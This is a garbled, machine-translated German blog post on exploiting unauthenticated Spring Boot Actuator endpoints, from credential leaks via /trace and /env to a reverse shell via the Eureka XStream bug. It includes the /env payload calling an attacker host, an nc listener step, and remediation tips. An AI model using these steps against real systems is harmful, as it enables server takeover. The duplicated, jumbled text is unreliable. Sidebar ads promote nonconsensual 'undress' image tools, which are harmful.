Inhaltsverzeichnis
#🎜 🎜#
Die Standardfehlerseite wird über das Springboot-Framework gemeldet. Wenn der Webanwendungsentwickler die Standardfehlerseiten 4xx und 5xx der Springboot-Webanwendung nicht ändert, wird eine 4xx- oder Wenn in der Webanwendung ein 5xx-Fehler auftritt, wird der folgende Fehler gemeldet (nur hier). Nehmen Sie die 404-Fehlerseite als Beispiel: Greifen Sie auf einen zufällig erstellten Pfad zu, z. B.: http://172.26.2.24:8090/index, und der Die folgende Fehlerseite wird angezeigt, die darauf hinweist, dass die Website das Springboot-Framework verwendet (die meisten in der Praxis auftretenden Situationen sind solche Situationen).

spring-boot-starter-actuator (/ Aktualisierung (Aktualisierungskonfiguration erforderlich)
Schwachstellenbehebung
Heim Betrieb und Instandhaltung Sicherheit Beispielanalyse des unbefugten Zugriffs von Spring Boot Actuator auf getshell

Beispielanalyse des unbefugten Zugriffs von Spring Boot Actuator auf getshell

May 23, 2023 am 08:56 AM
spring boot actuator getshell

Vorwort

Der Abteilungsleiter hat diese Schwachstelle in einem bestimmten Quellcode ausgegraben, also habe ich eine lokale Umgebung eingerichtet aus.

Actuator ist ein von Springboot bereitgestelltes Funktionsmodul zur Introspektion und Überwachung von Anwendungssystemen. Mit Hilfe von Actuator können Entwickler auf einfache Weise Statistiken zu bestimmten Überwachungsindikatoren des Anwendungssystems anzeigen und sammeln. Wenn Actuator aktiviert ist und relevante Berechtigungen nicht kontrolliert werden, können illegale Benutzer durch Zugriff auf die Standard-Actor-Endpunkte Überwachungsinformationen im Anwendungssystem erhalten, was zu Informationslecks oder sogar zur Serverübernahme führt.

Actuator ist ein von Spring Boot bereitgestelltes Funktionsmodul, das zur Introspektion und Überwachung von Anwendungssystemen verwendet werden kann. Die bereitgestellten Executor-Endpunkte sind in zwei Kategorien unterteilt: native Endpunkte und benutzerdefinierte Erweiterungsendpunkte.

Spring Boot Actuator从未授权访问到getshell的示例分析Verwenden Sie Zuordnungen, um nicht autorisierte Schnittstellen zu finden.


    Verwenden Sie Trace, um Authentifizierungsinformationen (Cookie, Token, Sitzung) zu erhalten ) und verwenden Sie die Authentifizierungsinformationen, um auf die Schnittstelle zuzugreifen.

  1. env kann das Passwort des Datenbankkontos (mangodb) preisgeben. Natürlich muss das externe Netzwerk geöffnet sein, daher ist die Möglichkeit gering.

  2. Ausländer sagen, dass SQL-Anweisungen ausgeführt werden können, aber ich verstehe es noch nicht

  3. # 🎜🎜##🎜🎜 #Vulnerability Discovery

  4. Das von der aktuellen Webanwendung verwendete Framework wird normalerweise als Springboot-Framework bezeichnet. Es gibt zwei Hauptmethoden zur Beurteilung:


  5. über das Symbol der Webanwendungs-Webseitenbezeichnung (favicon.ico); wenn der Webanwendungsentwickler die Standardeinstellung nicht geändert hat Symbol der Springboot-Webanwendung. Nach dem Aufrufen der Anwendungshomepage sehen Sie das folgende grüne Standardsymbol:

#🎜🎜 #

#🎜 🎜#
Die Standardfehlerseite wird über das Springboot-Framework gemeldet. Wenn der Webanwendungsentwickler die Standardfehlerseiten 4xx und 5xx der Springboot-Webanwendung nicht ändert, wird eine 4xx- oder Wenn in der Webanwendung ein 5xx-Fehler auftritt, wird der folgende Fehler gemeldet (nur hier). Nehmen Sie die 404-Fehlerseite als Beispiel: Greifen Sie auf einen zufällig erstellten Pfad zu, z. B.: http://172.26.2.24:8090/index, und der Die folgende Fehlerseite wird angezeigt, die darauf hinweist, dass die Website das Springboot-Framework verwendet (die meisten in der Praxis auftretenden Situationen sind solche Situationen).


  1. Um die beiden oben genannten Methoden zu kombinieren, um festzustellen, ob die aktuelle Webanwendung ein Springboot-Framework ist, Das heißt, indem Sie auf „Überprüfen“ zugreifen, um zu sehen, ob in verschiedenen Verzeichnissen ein kleines grünes Blattsymbol vorhanden ist, und dann eine Möglichkeit finden, 4xx- oder 5xx-Fehler in der Anwendung in verschiedenen Verzeichnissen auszulösen, um zu sehen, ob ein Whitelabel-Fehlerseitenfehler vorliegt.
Exploit

Spring Boot Actuator从未授权访问到getshell的示例分析

Greifen Sie auf den /trace-Endpunkt zu, um grundlegende HTTP-Anforderungsverfolgungsinformationen (Zeitstempel, HTTP-Header usw.) zu erhalten Wenn Sie als angemeldeter Benutzer angemeldet sind, können Sie Cookies verwenden, um sich anzumelden.

  1. Greifen Sie auf den /env-Endpunkt zu, um alle Umgebungsattribute abzurufen. Da der Aktor Datenbankdienste wie Site-MySQL und Mangodb überwacht, kann MySQL manchmal abgerufen werden Durch Überwachungsinformationen und Informationen zur Mangodb-Datenbank ist der verursachte Schaden enorm, wenn die Datenbank zufällig im öffentlichen Netzwerk geöffnet ist Konfiguration verursacht RCE,# 🎜🎜#
  2. Voraussetzung: Eureka-Client <1.8.7 (meist in Spring Cloud Netflix zu sehen)

Zum Beispiel beim Testen des Front-End-JSON-Fehlerberichts und den Paketnamen preisgeben, verwenden Sie NetflixSpring Boot Actuator从未授权访问到getshell的示例分析# 🎜🎜#

Erfordert die folgenden zwei Pakete


spring-boot-starter-actuator (/ Aktualisierung (Aktualisierungskonfiguration erforderlich)

spring-cloud-starter-netflix-eureka-client (funktionale Abhängigkeit)

Wenn Sie Python3 zum Starten des Skripts verwenden, müssen Sie auf zwei achten Stellenweise ist einer die IP und der Port der empfangenden Shell und der andere der Start unseres Skript-Ports, Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析#🎜 🎜#

Nc lauscht an einem Port, um Rebound-Shells zu empfangen,

#🎜 🎜#Schreiben Sie die Konfiguration, greifen Sie auf den /env-Endpunkt zu, erfassen Sie das Paket und ändern Sie die Get-Anfrage in eine Post-Anfrage. Den Post-Inhalt ist (die IP ist die IP der Maschine, die vom Skript gestartet wurde):

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Spring Boot Actuator从未授权访问到getshell的示例分析

Dann besuchen Sie /refresh, erfassen Sie das Paket und ändern Sie die Get-Anfrage in eine Post-Anfrage. Die Post-Daten sind willkürlich,

Spring Boot Actuator从未授权访问到getshell的示例分析

Dann können wir in unserem NC-Fenster sehen, dass eine Granate erfolgreich zurückgeprallt ist.

Spring Boot Actuator从未授权访问到getshell的示例分析

Schwachstellenbehebung

Als Sicherheitshund können Sie nicht einfach die Spring-Boot-Starter-Sicherheitsabhängigkeit unter dem POM des Projekts einführen, das Zugriffskontokennwort konfigurieren. und starten Sie die Anwendung neu, um das Popup zu starten.


	org.springframework.bootspring-boot-starter-security

Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析Um die Schnittstelle zu deaktivieren, können Sie sie wie folgt festlegen (z. B. die Env-Schnittstelle deaktivieren):

endpoints.env.enabled= falseSpring Boot Actuator从未授权访问到getshell的示例分析

Frage

Ausländer sagen, dass sie ausführen können SQL-Anweisungen und stellen fest, dass sie nicht ausgeführt werden können. Es ist nicht korrekt. Ich habe einen Screenshot davon gemacht und hoffe, dass jemand, der es erfolgreich implementiert hat, es teilen kann.


In der tatsächlichen Umgebung gibt es viele Probleme ohne Aktualisierung, was dazu führt, dass Befehle nicht ausgeführt werden können. Es gab noch keinen Durchbruch

Das obige ist der detaillierte Inhalt vonBeispielanalyse des unbefugten Zugriffs von Spring Boot Actuator auf getshell. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Clothoff.io

Clothoff.io

KI-Kleiderentferner

Video Face Swap

Video Face Swap

Tauschen Sie Gesichter in jedem Video mühelos mit unserem völlig kostenlosen KI-Gesichtstausch-Tool aus!

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen

PHP-Tutorial
1511
276
So verwenden Sie Spring Boot zum Erstellen von Big-Data-Verarbeitungsanwendungen So verwenden Sie Spring Boot zum Erstellen von Big-Data-Verarbeitungsanwendungen Jun 23, 2023 am 09:07 AM

Mit dem Aufkommen des Big-Data-Zeitalters beginnen immer mehr Unternehmen, den Wert von Big Data zu verstehen, zu erkennen und ihn auf das Geschäft anzuwenden. Das damit verbundene Problem besteht darin, mit diesem großen Datenfluss umzugehen. In diesem Fall sind Big-Data-Verarbeitungsanwendungen zu etwas geworden, das jedes Unternehmen in Betracht ziehen muss. Für Entwickler ist auch die Verwendung von SpringBoot zum Erstellen einer effizienten Big-Data-Verarbeitungsanwendung ein sehr wichtiges Thema. SpringBoot ist ein sehr beliebtes Java-Framework, das dies ermöglicht

Erstellen Sie Desktop-Anwendungen mit Spring Boot und JavaFX Erstellen Sie Desktop-Anwendungen mit Spring Boot und JavaFX Jun 22, 2023 am 10:55 AM

Da sich die Technologie ständig weiterentwickelt, können wir nun verschiedene Technologien zum Erstellen von Desktop-Anwendungen verwenden. SpringBoot und JavaFX gehören mittlerweile zu den beliebtesten Optionen. Dieser Artikel konzentriert sich auf die Verwendung dieser beiden Frameworks zum Erstellen einer funktionsreichen Desktop-Anwendung. 1. Einführung in SpringBoot und JavaFXSpringBoot ist ein schnelles Entwicklungsframework, das auf dem Spring-Framework basiert. Es hilft Entwicklern, schnell Webanwendungen zu erstellen und gleichzeitig eine Reihe von bereitzustellen

Verwendung von WebSocket in Spring Boot zur Implementierung von Push- und Benachrichtigungsfunktionen Verwendung von WebSocket in Spring Boot zur Implementierung von Push- und Benachrichtigungsfunktionen Jun 23, 2023 am 11:47 AM

In der modernen Webanwendungsentwicklung ist WebSocket eine gängige Technologie für sofortige Kommunikation und Echtzeit-Datenübertragung. Das SpringBoot-Framework bietet Unterstützung für integriertes WebSocket, was es für Entwickler sehr bequem macht, Push- und Benachrichtigungsfunktionen zu implementieren. In diesem Artikel wird die Verwendung von WebSocket zum Implementieren von Push- und Benachrichtigungsfunktionen in SpringBoot vorgestellt und die Implementierung eines einfachen Echtzeit-Online-Chatrooms demonstriert. Erstellen Sie ein SpringBoot-Projekt. Zuerst müssen wir ein

Spring Boot+MyBatis+Atomikos+MySQL (mit Quellcode) Spring Boot+MyBatis+Atomikos+MySQL (mit Quellcode) Aug 15, 2023 pm 04:12 PM

In tatsächlichen Projekten versuchen wir, verteilte Transaktionen zu vermeiden. Manchmal ist es jedoch wirklich notwendig, einige Dienste aufzuteilen, was zu Problemen bei verteilten Transaktionen führt. Gleichzeitig werden in Vorstellungsgesprächen auch verteilte Transaktionen auf dem Markt gefragt. Sie können diesen Fall üben und im Vorstellungsgespräch über 123 sprechen.

So verwenden Sie Spring Boot zum Erstellen von Blockchain-Anwendungen und Smart Contracts So verwenden Sie Spring Boot zum Erstellen von Blockchain-Anwendungen und Smart Contracts Jun 22, 2023 am 09:33 AM

Mit dem Aufstieg digitaler Währungen wie Bitcoin ist die Blockchain-Technologie nach und nach zu einem heißen Thema geworden. Smart Contracts können als wichtiger Bestandteil der Blockchain-Technologie angesehen werden. SpringBoot kann als beliebtes Java-Backend-Entwicklungsframework auch zum Erstellen von Blockchain-Anwendungen und Smart Contracts verwendet werden. In diesem Artikel erfahren Sie, wie Sie mit SpringBoot Anwendungen und Smart Contracts auf Basis der Blockchain-Technologie erstellen. 1. SpringBoot und Blockchain Zunächst müssen wir einige grundlegende Konzepte im Zusammenhang mit Blockchain verstehen. Blockchain

Erstellen Sie ein ESB-System mit Spring Boot und Apache ServiceMix Erstellen Sie ein ESB-System mit Spring Boot und Apache ServiceMix Jun 22, 2023 pm 12:30 PM

Da moderne Unternehmen immer mehr auf eine Vielzahl unterschiedlicher Anwendungen und Systeme angewiesen sind, wird die Unternehmensintegration noch wichtiger. Enterprise Service Bus (ESB) ist ein Integrationsarchitekturmodell, das verschiedene Systeme und Anwendungen miteinander verbindet, um gemeinsame Datenaustausch- und Nachrichtenroutingdienste bereitzustellen und eine Anwendungsintegration auf Unternehmensebene zu erreichen. Mit SpringBoot und ApacheServiceMix können wir ganz einfach ein ESB-System erstellen. In diesem Artikel wird die Implementierung vorgestellt. SpringBoot und A

Methoden zur Aufgabenplanung und geplanten Aufgabenimplementierung von Spring Boot Methoden zur Aufgabenplanung und geplanten Aufgabenimplementierung von Spring Boot Jun 22, 2023 pm 11:58 PM

SpringBoot ist ein sehr beliebtes Java-Entwicklungsframework. Es bietet nicht nur den Vorteil einer schnellen Entwicklung, sondern verfügt auch über viele integrierte praktische Funktionen. Zu den häufig verwendeten Funktionen zählen unter anderem die Aufgabenplanung und geplante Aufgaben. In diesem Artikel werden die Aufgabenplanungs- und Timing-Task-Implementierungsmethoden von SpringBoot untersucht. 1. Einführung in die SpringBoot-Aufgabenplanung Die SpringBoot-Aufgabenplanung (TaskScheduling) bezieht sich auf die Ausführung einiger spezieller Aufgaben zu einem bestimmten Zeitpunkt oder unter bestimmten Bedingungen.

Erreichen Sie mehrsprachige Unterstützung und internationale Anwendungen durch Spring Boot Erreichen Sie mehrsprachige Unterstützung und internationale Anwendungen durch Spring Boot Jun 23, 2023 am 09:09 AM

Mit der Entwicklung der Globalisierung müssen immer mehr Websites und Anwendungen mehrsprachige Unterstützung und Internationalisierungsfunktionen bieten. Für Entwickler ist die Implementierung dieser Funktionen keine leichte Aufgabe, da sie die Berücksichtigung vieler Aspekte erfordert, wie z. B. Sprachübersetzung, Datums-, Zeit- und Währungsformate usw. Mithilfe des SpringBoot-Frameworks können wir jedoch problemlos mehrsprachige Unterstützung und internationale Anwendungen implementieren. Lassen Sie uns zunächst die von SpringBoot bereitgestellte LocaleResolver-Schnittstelle verstehen. Ort

See all articles